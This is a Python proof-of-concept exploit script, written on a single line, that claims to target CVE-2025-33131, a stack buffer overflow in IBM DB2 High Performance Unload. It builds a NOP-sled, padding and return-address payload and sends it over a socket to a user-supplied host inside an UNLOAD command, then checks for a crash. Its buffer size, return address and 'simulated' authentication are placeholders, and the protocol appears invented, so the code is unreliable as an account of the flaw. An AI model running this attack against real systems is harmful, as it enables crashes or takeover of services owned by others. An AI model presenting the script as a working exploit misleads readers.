CVE-2025-33131

# CVE-2025-33131 PoC - IBM DB2 High Performance Unload Stack Buffer Overflow # This PoC demonstrates sending a crafted input to trigger buffer overflow # Note: This is a conceptual PoC for educational purposes only import socket import struct import sys def create_exploit_payload(): """Generate payload to trigger stack buffer overflow""" # Stack buffer overflow payload # Buffer size is typically 256-1024 bytes in similar vulnerabilities overflow_size = 2048 # Create NOP sled for better exploitation nop_sled = b'\x90' * 500 # Padding to overflow the buffer padding = b'A' * (overflow_size - len(nop_sled)) # Return address overwrite (example address) return_addr = struct.pack('<Q', 0x0000000000401000) payload = nop_sled + padding + return_addr return payload def send_exploit(target_host, target_port, payload): """Send exploit payload to vulnerable service""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # Authentication phase (simulated) auth_data = b'AUTH user:password\r\n' sock.send(auth_data) response = sock.recv(1024) print(f"[+] Authentication response: {response}") # Send malicious payload to trigger overflow # Targeting DB2 High Performance Unload command processing exploit_cmd = b'UNLOAD TABLE target_table TO /tmp/output.txt DATA ' + payload + b'\r\n' print(f"[+] Sending exploit payload ({len(payload)} bytes)...") sock.send(exploit_cmd) # Check for crash indicators sock.settimeout(5) try: response = sock.recv(1024) print(f"[+] Response: {response}") except socket.timeout: print("[*] No response received - service may have crashed") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_host> <target_port>") sys.exit(1) target_host = sys.argv[1] target_port = int(sys.argv[2]) payload = create_exploit_payload() send_exploit(target_host, target_port, payload)

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